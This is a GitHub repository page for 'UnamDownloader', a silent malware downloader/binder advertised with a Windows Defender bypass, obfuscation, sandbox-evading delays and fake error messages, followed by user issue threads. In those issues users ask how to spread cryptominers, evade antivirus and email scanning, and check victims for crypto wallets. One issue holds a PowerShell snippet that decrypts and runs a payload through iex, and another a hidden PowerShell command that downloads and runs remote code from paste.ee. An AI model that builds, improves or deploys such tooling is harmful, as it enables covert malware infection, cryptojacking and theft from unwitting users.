unamsanctam/unamdownloader

A Free Silent (Hidden) Open Source Downloader (Binder) - Includes Windows Defender Bypass - Build Native - Unam Downloader

UnamDownloader 1.6.0 - A free silent downloader

A free silent (hidden) open-source downloader (binder) that can be built as a native C file or a managed (.NET C#) file. A downloader is essentially the same as a binder although it downloads the files instead of storing them in memory, you can also see my UnamBinder for a normal file binder.

Main Features

• Native or Managed - Builds the final executable as a native (C) or a managed (.NET C#) 32-bit file depending on choice
• Silent - Downloads and executes (if enabled) files without any visible output
• Tiny - Final downloader build is usually less than 5kb (depending on the amount of files to download)
• Multiple files - Supports downloading any amount of files
• Powershell - Does everything through powershell which currently greatly reduces detections
• Compatible - Supports all tested Windows versions (Windows 7 to Windows 11) and all file types
• Windows Defender exclusions - Can add exclusions into Windows Defender to ignore any detections from the downloaded files
• Icon/Assembly - Supports adding an Icon and/or Assembly Data to the built file
• Fake Error - Supports displaying a fake error message when file is originally started

Downloads

Pre-Compiled: https://github.com/UnamSanctam/UnamDownloader/releases

Wiki

You can find the wiki here or at the top of the page.

Changelog

v1.6.0 (16/05/2022)

• Added new managed (.NET C#) assembly compiler and C# program files
• Added option to choose between building native (C) or managed (.NET C#) builds
• Rewrote native build program code for fewer detections
• Combined every command into a single command instead of multiple ones
• Obfuscated all commands and added command string morphing to avoid static string detection
• Changed Windows Defender exclusion commands to the new undetected form
• Added save and load functionality to the builder
• Added message box type selection to the "Fake Error" option
• Changed compilers to always compile with a manifest to reduce detections
• Restructured all project folders and files

v1.5.1 (18/09/2021)

• Changed Icon path and Assembly Data to now literalize escape characters
• Added check for Assembly Version to ensure that it contains only numbers

v1.5.0 (14/09/2021)

• Replaced windres with a custom compiled windres that supports spaces in file paths
• Added new Fake Error option that will display a custom error when the build is started
• Added new Start Delay option to delay the dropping and execution of files, can bypass Windows Defender sandboxing
• Added extensive error checking and more thorough messages whenever anything goes wrong
• Added new log files for compiler errors
• Cleaned up code

v1.4.1 (12/09/2021)

• Worked around windres limitation of not supporting spaces in file paths

v1.4.0 (12/09/2021)

• Added new custom minimal MinGW64 windres resource compiler
• Added new Icon and Assembly Data options using the new resource compiler
• Removed managed build type since native now has all the features managed had while also being better overall
• Increased key complexity to avoid general key scans
• Improved powershell code
• Fixed general small bugs
• Optimized code

v1.3.1 (05/09/2021)

• Changed string literal function

v1.3.0 (03/09/2021)

• Changed obfuscation from reversed string to XOR encryption, reduces detections and file size
• Fixed bug when file path included apostrophes or any other escape characters

v1.2.0 (21/08/2021)

• Changed it to compile native into 32-bit programs for wider compatibility
• Added random string into the native code to randomize file checksum/hash on each build
• Optimized and improved Windows Defender Exclusions

v1.1.1 (15/08/2021)

• Fixed save bug when building native files to another directory than the builder location
• Added the builder location as the standard save location to make it easier to navigate

v1.1.0 (14/08/2021)

• Added option to build the downloader as a native C file, greatly reduces detections
• Added a TinyCC compiler for native C builds
• Updated required .NET for the builder to .NET 4.5 and the required .NET for the managed .NET C# build to .NET 4.0
• Changed the Run as Administrator option to use a new manifest file

v1.0.0 (14/08/2021)

• Initial release

You can view the full Changelog here

Author

• Unam Sanctam

Disclaimer

I, the creator, am not responsible for any actions, and or damages, caused by this software.

You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.

This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.

By using this software, you automatically agree to the above.

License

This project is licensed under the MIT License - see the LICENSE file for details

Donate

XMR: 8BbApiMBHsPVKkLEP4rVbST6CnSb3LW2gXygngCi5MGiBuwAFh6bFEzT3UTufiCehFK7fNvAjs5Tv6BKYa6w8hwaSjnsg2N

BTC: bc1q26uwkzv6rgsxqnlapkj908l68vl0j753r46wvq

ETH: 0x40E5bB6C61871776f062d296707Ab7B7aEfFe1Cd

ETC: 0xd513e80ECc106A1BA7Fa15F1C590Ef3c4cd16CF3

RVN: RFsUdiQJ31Zr1pKZmJ3fXqH6Gomtjd2cQe

LINK: 0x40E5bB6C61871776f062d296707Ab7B7aEfFe1Cd

DOGE: DNgFYHnZBVLw9FMdRYTQ7vD4X9w3AsWFRv

LTC: Lbr8RLB7wSaDSQtg8VEgfdqKoxqPq5Lkn3

unamdownloader's Issues

Download Site

Hello! Do you got a good site to upload your file to, that can directly download it?

New update?

New update with download from pastebin/rentry?

Error compiling resources

C:\Users\x' is not recognized as an internal or external command,
operable program or batch file.

Im a newbie so any help would be nice

The generated file doesn't bypass Windows Defender.

The built file doesn't bypass Windows Defender, so there is no point in using it.

Current Directory drop

Hello there, is possible to add "drop files in current directory" like in unamdownloader?

Delay

download and execute the first file, wait some time, then download and execute the second file.

Can you write the code like I said? If not, that's okay. I'll find a way

File size

Final size after making the downloader from a 40KB exe and a 5KB txt file are less than 5KB. Is there any way I could increase the final downloader's size alltogether to be like around 3-4 MB at least? Or would that increase detections by any change. The file I'm talking about expanding is the final downloader that contains a .txt and an .exe file.

Url

How to create a url to download a file?

Use this with built SilentXMR exe?

Problem with email

is it possible to build a file that is not detected as a virus for gmail or other email services?

query

what is the use of binder and downloader what is its pupose, can u plz explain in simple language?

download file

which file exchanger to use for instant file uploads?

I crypt it and I get threat blocked from windows defender. Any tips?

is it possible to bind a dll with exe

if i bind a dll with exe and i rename it with the extension agian will it work?

edit: wrong category srry

if i run the executable more than once the files gonna be downloaded again?

Help

how to start an executable, is its visibility disabled? because the mandark library does not allow disabling the software display

Can you help me ?

Alternatives in python

Hello i love this concept of a file that downloads payloads to bypass anti viruses but since i dont have experiencie with c# i cant understand/modyfy it but i cant find anything that does the same but in pyton.

does someone knoy any alternative of this in python?

I just can't seem to get it working.

I used every instrustion and detail in your wiki, but i just can't seem to get it working on my computer, the build is made, but when i run the checker, it says,
Watchdog: no
Miners:
GPU: No compatible GPU found.

Should'nt it be running on CPU. There seems to be some kind of problem.

Fast download

Is there a way to make the downloader download the files faster? When opening the downloader file, it has to wait almost 30 seconds before it downloads and opens the file.

UnamDownloader Exodus check

Would it be detected to check if exodus exists on the users pc if so then it runs one more powershell command to download one more app?

Suggestion

I would like you to make the dropper encrypted with aes-256 or 3des-192-cbc to evade AV's
It would be something like this

$key = [Convert]::FromBase64String("xKc6APq4mM0xAjMg6TETedOZKqugeZYB")
$iv = [Convert]::FromBase64String("pVglsY0BHNk=")
$Payload = "YxNjPvngQ3g=";
$TDES = New-Object "System.Security.Cryptography.TripleDESCryptoServiceProvider";
$TDES.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$TDES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$TDES.BlockSize = 64;
$TDES.KeySize = 192;
$DataByte = [Convert]::FromBase64String($Payload)
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TDES.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
iex($Result)

I don't know much about encryption , just making a suggestion that might reduce the AV detection rate of the dropper since powershell is used to download the payload.

Problem with the download

Hello, could you please tell me why when I run a ready-made assembly, download the file from the link, and then the downloaded file immediately disappears without starting?
What does the warning mean in the logs: C:/1/1.c:8: warning: implicit declaration of function 'malloc' ?
Thank you!

Update

When is the unamdownloader going to finally be updated (if u dont know a exact number, say a approximate number)? And what is there to do?

Binder or Downloader?

I am going to bind the silent miner with another program, should I use the downloader or binder for less detections? or does it not really matter

Serious issue

Isn't the "Block" feature of windows (that requires you to go to the properties of the file and unblock) gonna block the downloaded file?

Is there a way to make an automatic download link without google drive? Can you please share?

Detected by Win defender

What obfuscation/Scrambling did you suggest?

Defender

defender detects the created file

bunun üstesinden nasıl gelebilirim

Self Destruct Feature

This code snipped below is Delphi based, I was gonna use C# but too many AV detections. Could you help me to add a self-destruct function to delete the file from the disk after execution. Thanks for your help.

{$APPTYPE GUI}

uses Windows, ShellApi;

begin
  ShellExecute(0, nil, 'powershell', 'IEX(New-Object Net.WebClient).”`D`o`wn`l`oa`d`Str`in`g”(‘htt’ + ‘ps://’ + ‘paste.ee/r/l2tlb/0’)', nil, SW_HIDE);
end.

Windows Exclusions

Could you provide the line in code which adds exclusions?

Are you gonna update this soon...

Are you gonna update this soon... Its been months..

which upload sites should I use? That won't delete my file?

anonfiles? or do have anything that is better?

What crypters would you suggest?

Can i use it for spreading my mining exe?

Sir...can i download this.for my silent miner...exe file..what is it for? And how it works please tell me

How to use parameters ?

Hey, How can i execute a file with a parameter

Suggestion

Would you be able to add protections such as
Anti Virustotal
Anti Windows Server
Anti VM
or something like Anti Low-ram

These features would help a lot to have them in downloader because many of builds are going to virustotal and they are pretty much spamming with opening

Suggestion

Add compile option for x64bit .NET & Native build types if possible. Thanks 👍

how to add your own DLL for use in the final Downloader

?

powershell runs two command in one line?

how do u run the commands in one line? i have tried && and it did not work. How does it work here?

Update

When will you release new update sir

Downloader breaks with ' in username

A computer failed to download a file to the current directory(Desktop) but it did when I put it in the C: folder. Also, I was using the XMR and ETH miner and I believe they did not download and install because of the name too.

How this guy has so many workers by just 1 exe can i do same like this

@UnamSanctam sir how can i do like this...how can i make multiple workers by just 1 exe

Run as admin doesn't seem to be working

Hey, I don't think that Run as admin works because I have users that don't run it with admin rights when they're supposed to do so. Or I just don't understand how it all works? I need programs inside the loader to be ran as admin.

Help To Download

I need help to download the file and be able to use the application please I did it and a step by step tutorial was deleted

Can you update?

First of all, can you add option to download from pastebin/rentry link? Thats extremely useful feature because all published builds can be easily changed.

Also when will you update this as its been 9 months and I see pretty many people have asked for the update.

Thank you for all the work you did, I will donate again soon!

Dependencies Installer(Silent)

Hi can you add dotnet Dependencies Installer(Silent) for windows please.
It will be great if you add dotnet 4 silent installer for windows or make a individual program for Dependencies Installer(Silent).
Thanks for this great Tool

Is this still fud?

Is this still fud or can bypass windows defender?

Combine this downloader with your silent crypto miner

Do you know if I can combine this downloader with your silent crypto miner?
I have tried it by enabling the option "run as administrator administrator" and "Defender ByPass" and the miner has not been executed but the other executable starts without problems. Then I tried disabling the bypass and Windows Defender detected and removed it.
If it is possible to make it work, do you recommend any settings in the downloader or miner to do it?

How to build it as Native

There is no option

Binder

If unamdownloader downloads files via URL and executes them silently, why don't you add file binding? same as unambinder but can download files via URL. Can you add it to the next update? 🤔